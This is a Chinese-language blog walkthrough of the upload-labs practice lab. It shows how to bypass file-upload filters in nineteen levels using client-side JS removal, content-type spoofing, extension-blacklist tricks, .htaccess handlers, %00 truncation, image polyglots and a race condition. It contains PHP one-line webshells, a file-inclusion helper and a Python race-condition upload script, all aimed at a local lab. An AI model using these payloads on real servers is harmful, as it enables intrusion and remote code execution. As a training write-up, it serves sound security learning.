Contents
  1. 1. 前言
  2. 2. Pass-01
  3. 3. Pass-02
  4. 4. Pass-03
  5. 5. Pass-04
  6. 6. Pass-05
  7. 7. Pass-06
  8. 8. Pass-07
  9. 9. Pass-08
  10. 10. Pass-09
  11. 11. Pass-10
  12. 12. Pass-11(00截断$_GET)
  13. 13. Pass-12(00截断$_POST)
  14. 14. Pass-13
  15. 15. Pass-14
  16. 16. Pass-15
  17. 17. Pass-16
  18. 18. Pass-17
  19. 19. Pass-18
  20. 20. Pass-19(CVE-2015-2348 move_uploaded_file() 00截断)

前言

学习一下文件上传

Pass-01

这题的目的是前端的绕过

打开题目,试一下,随便上传一张图片,可以成功上传
FrcdQ1.png

打开代理,bp抓包,上传含有一句话木马的1.php,发现一个问题
此时,已经打开了代理,bp把流量截了下来,但是却给出了,错误提示,说明这是一个JS前段验证
Frcfyt.png

F12修改前端代码,添加.php文件的验证
FrczwT.png

即可成功,也可以禁用js,也可以成功上传.php文件,然后用菜刀连接即可

修改后缀名也可以绕过,
上传一句话木马,文件名为ee.jpg

1
<?php eval($_Psot['ee']); ?>

bp抓包后,修改后缀名为.php,即可成功上传.php文件
FrgFp9.png
FrgmTO.png

使用菜刀连接即可,
Fr2rPe.png

Pass-02

查看源码,发现仅仅判断content-type,于是修改content-type绕过
FrRLSH.png

修改为image/jpeg、image/png、image/gif任何一个都可以,就可以成功上传.php文件
FrWlp4.png
FrW5cj.png

bp抓包,修改文件后缀名也可以

Pass-03

查看源码,发现是黑名单验证,对.asp|.aspx|.php|.jsp后缀名进行了严格的限制

Frf2rR.png

只能上传别的类型,于是尝试用php3,phtml绕过,都可以成功上传
FrhGo6.png

源码解析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
$is_upload = false; 
$msg = null;
if (isset($_POST['submit']))
{
if (file_exists(UPLOAD_PATH))
{
$deny_ext = array('.asp','.aspx','.php','.jsp');
$file_name = trim($_FILES['upload_file']['name']);//trim()去点文件的空格 $file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');//查找字符在指定字符串中从左面开始的最后一次出现的位置,如果成功,返回该字符以及其后面的字符

$file_ext = strtolower($file_ext); //转换为小写这样就不能进行大小写的逃逸了 $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA $file_ext = trim($file_ext); //收尾去空

if(!in_array($file_ext, $deny_ext))
{
if (move_uploaded_file($_FILES['upload_file']['tmp_name'], UPLOAD_PATH. '/' . $_FILES['upload_file']['name']))
{ $img_path = UPLOAD_PATH .'/'. $_FILES['upload_file']['name']; $is_upload = true;
}
}
else
{
$msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!';
}
} else { $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
//原文:https://blog.csdn.net/qq_29647709/article/details/81227084

Pass-04

也是一个黑名单验证,强度更大,几乎过滤了所有的后缀名,除了.htaccess

1
.php",".php5",".php4",".php3",".php2","php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2","pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf"

FrhbfU.png

.htaccess文件,全称是Hypertext Access(超文本入口)。提供了针对目录改变配置的方法, 即在一个特定的文档目录中放置一个包含一个或多个指令的文件, 以作用于此目录及其所有子目录。作为用户,所能使用的命令受到限制。管理员可以通过Apache的AllowOverride指令来设置。

上传一个.htaccess文件,在里面写入

1
SetHandler application/x-httpd-php

FrIwy4.png

这样所有文件都会解析为php,然后再上传图片马,就可以成功解析:
FrI9zD.png

可以成功访问,说明解析成功
FrIDm9.png

Pass-05

看了一下源码,发现黑名单所有后缀名都被过滤了,也包括.htacces

1
".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess"

但是,和前面的比较一下,少了一行将将后缀进行大小写统一的代码
pass-5
FsuHpR.png
pass-4
FsKStH.png

所以,可以通过大小写绕过
FsKEB8.png
成功上传
FsKVHS.png

Pass-06

查看源码,黑名单
FsKaC9.png

可以发现,没有对后缀名进行去空处理,可在后缀名中加空绕过:

1
$file_ext = trim($file_ext); //首尾去空

FsKDu6.png
上传成功
FsK6ED.png

Pass-07

查看源码,黑名单
FsKIDf.png

可以发现,没有对后缀名进行去”.”处理,利用windows特性,会自动去掉后缀名中最后的”.”,可在后缀名中加”.”绕过

1
$file_name = deldot($file_name);//删除文件名末尾的点

FsK7VS.png
上传成功
FsKLCj.png

Pass-08

查看源码,黑名单
FsKjvq.png

没有进行去除字符串::$DATA的操作,所以,可以在后缀名添加::$DATA来绕过:

1
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA

FsMKaD.png
上传成功
FsMer6.png

Pass-09

查看源码,黑名单
FsMDRs.png

可以发现,源码的第15行,与之前的不一样

1
$img_path = UPLOAD_PATH.'/'.$file_name;   //这一关的
1
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;   //之前的

路径拼接的是处理后的文件名,于是构造info.php. . (点+空格+点),经过处理后,文件名变成info.php.,即可绕过。
FsMvJH.png

Pass-10

查看源码,黑名单
FsQFw8.png

这两行代码有问题

1
2
$file_name = trim($_FILES['upload_file']['name']);
$file_name = str_ireplace($deny_ext,"", $file_name);

str_ireplace()函数

1
2
3
4
5
6
7
8
9
str_ireplace(find,replace,string,count)
参数 描述
find 必需。规定要查找的值。
replace 必需。规定替换 find 中的值的值。
string 必需。规定被搜索的字符串。
count 可选。一个变量,对替换数进行计数。

原文:https://blog.csdn.net/qq_29647709/article/details/81237032

注意到,这里是将问题后缀名替换为空,于是可以利用双写绕过
FsQHpj.png

Pass-11(00截断$_GET)

查看源码,发现是一个白名单,$_GET传参save_path
Fslwgs.png

看到是白名单判断,但是$img_path直接拼接,因此可以利用%00截断绕过

基础补充两个函数:substr()、strrpos()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
strrpos() 定义和用法 
strrpos() 函数查找字符串在另一字符串中最后一次出现的位置。 注释:strrpos() 函数对大小写敏感。
相关函数:
stripos() - 查找字符串在另一字符串中第一次出现的位置(不区分大小写)
strpos() - 查找字符串在另一字符串中第一次出现的位置(区分大小写)
strripos() - 查找字符串在另一字符串中最后一次出现的位置(不区分大小写)
语法
strrpos(string,find,start)
参数 描述
string 必需。规定被搜索的字符串。
find 必需。规定要查找的字符。
start 可选。规定在何处开始搜索。

原文:https://blog.csdn.net/qq_29647709/article/details/81264120
1
2
3
4
5
6
7
substr() 这里写代码片语法 
substr(string,start,length)
参数 描述
string 必需。规定要返回其中一部分的字符串。
start 必需。规定在字符串的何处开始。正数 - 在字符串的指定位置开始 负数 - 在从字符串结尾开始的指定位置开始0 - 在字符串中的第一个字符处开始 length 可选。规定被返回字符串的长度。默认是直到字符串的结尾。正数 - 从 start 参数所在的位置返回的长度负数 - 从字符串末端返回的长度

原文:https://blog.csdn.net/qq_29647709/article/details/81264120
1
2
3
截断条件:
php版本小于5.3.4 详情关注CVE-2006-7243
php的参数开关上设置里magic_quotes_gpc为OFF状态

设置完成后,即可成功绕过,
Fs3aXn.png

详情查看:https://blog.csdn.net/qq_29647709/article/details/81264120

Pass-12(00截断$_POST)

查看源码,$_POST传参save_path
km5OQe.png

还是利用00截断,但这次需要在二进制中进行修改,因为post不会像get对%00进行自动解码。

knpklj.png
添加一个1.php+(任意名称)

knpukT.png
这里的2b对应的就是**+**号,将2b改成00,即可成功截断,1.php也可成功上传利用
knp43Q.png

Pass-13

查看源码,
kn3mtS.png

可以看出,验证上传文件类型的方法是:通过判断上传文件的前两个字节来判断的,所以直接上传图片马即可绕过.jpg和.png检查,制作方法
copy 1.jpg /b + info.php /a shell.jpg
1.jpg是一个图片,info.php写入一句话木马的文件,shell.jpg复制后的文件
kn3Mlj.png

添加GIF图片的文件头GIF89a,绕过GIF图片检查。

一句话木马也可以上传成功
knGCqI.png
文件路径也会显示,然后就可以利用文件包含漏洞。
knGaLR.png

可以写一个include.php:

1
2
3
4
<?php
$file=$_GET['page'];
include($file);
?>

然后放在upload中,在你上传成功图片马之后,你可以访问,执行phpinfo().
http://127.0.0.1/uploadlab/upload/include.php?page=upload/5020190128200535.jpg

Pass-14

查看源码,
knGLOs.png
这里使用getimagesize获取文件类型

1
2
3
 getimagesize() 函数将测定任何 GIF,JPG,PNG,SWF,SWC,PSD,TIFF,BMP,IFF,JP2,JPX,JB2,JPC,XBM 或 WBMP 图像文件的大小并返回图像的尺寸以及文件类型和一个可以用于普通 HTML 文件中 IMG 标记中的 height/width 文本字符串。

如果不能访问 filename 指定的图像或者其不是有效的图像,getimagesize() 将返回 FALSE 并产生一条 E_WARNING 级的错误。

利用图片马就可进行绕过,和上一关一样。

Pass-15

查看源码,
kntVJK.png

利用exif_imagetype(),判断文件类型,Pass-13的方法即可绕过。

Pass-16

查看源码

knt0wn.png
使用imagecreatefromjpeg()来判断文件类别,已可以使用Pass-13的方法。

原理:将一个正常显示的图片,上传到服务器。寻找图片被渲染后与原始图片部分对比仍然相同的数据块部分,将Webshell代码插在该部分,然后上传。具体实现需要自己编写Python程序,人工尝试基本是不可能构造出能绕过渲染函数的图片webshell的。

Pass-17

查看源码
kMawUH.png

利用条件竞争删除文件时间差绕过。使用命令pip install hackhttp安装hackhttp模块,运行下面的Python代码即可。如果还是删除太快,可以适当调整线程并发数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
# coding:utf-8
# Build By LandGrey

import hackhttp
from multiprocessing.dummy import Pool as ThreadPool


def upload(lists):
hh = hackhttp.hackhttp()
raw = """POST /upload-labs/Pass-17/index.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:49.0) Gecko/20100101 Firefox/49.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1/upload-labs/Pass-17/index.php
Cookie: pass=17
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=---------------------------6696274297634
Content-Length: 341

-----------------------------6696274297634
Content-Disposition: form-data; name="upload_file"; filename="17.php"
Content-Type: application/octet-stream

<?php assert($_POST["LandGrey"])?>
-----------------------------6696274297634
Content-Disposition: form-data; name="submit"

上传
-----------------------------6696274297634--
"""
code, head, html, redirect, log = hh.http('http://127.0.0.1/upload-labs/Pass-17/index.php', raw=raw)
print(str(code) + "\r")


pool = ThreadPool(10)
pool.map(upload, range(10000))
pool.close()
pool.join()

在脚本运行的时候,访问Webshell,我一直没成功,不知道为什么
原文链接:https://www.chabug.org/web/470.html

Pass-18

查看源码
kMd1eS.png
像Pass-13一样可以上传图片马

Pass-19(CVE-2015-2348 move_uploaded_file() 00截断)

查看源码
kMdaQ0.png

1
2
3
4
5
6
$img_path = UPLOAD_PATH . '/' .$file_name;
if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $img_path)) {
$is_upload = true;
}else{
$msg = '上传失败!';
}

CVE-2015-2348 move_uploaded_file() 00截断,上传webshell,同时自定义保存名称,直接保存为php是不行的
发现move_uploaded_file()函数中的img_path是由post参数save_name控制的,因此可以在save_name利用00截断绕过:
利用方式:
上传的文件名用0x00绕过,改成19.php【二进制00】.1.jpg
kMwj3R.png

参考两个大佬的

1
2
https://blog.csdn.net/qq_29647709/article/details/81264120
https://www.chabug.org/web/470.html
Contents
  1. 1. 前言
  2. 2. Pass-01
  3. 3. Pass-02
  4. 4. Pass-03
  5. 5. Pass-04
  6. 6. Pass-05
  7. 7. Pass-06
  8. 8. Pass-07
  9. 9. Pass-08
  10. 10. Pass-09
  11. 11. Pass-10
  12. 12. Pass-11(00截断$_GET)
  13. 13. Pass-12(00截断$_POST)
  14. 14. Pass-13
  15. 15. Pass-14
  16. 16. Pass-15
  17. 17. Pass-16
  18. 18. Pass-17
  19. 19. Pass-18
  20. 20. Pass-19(CVE-2015-2348 move_uploaded_file() 00截断)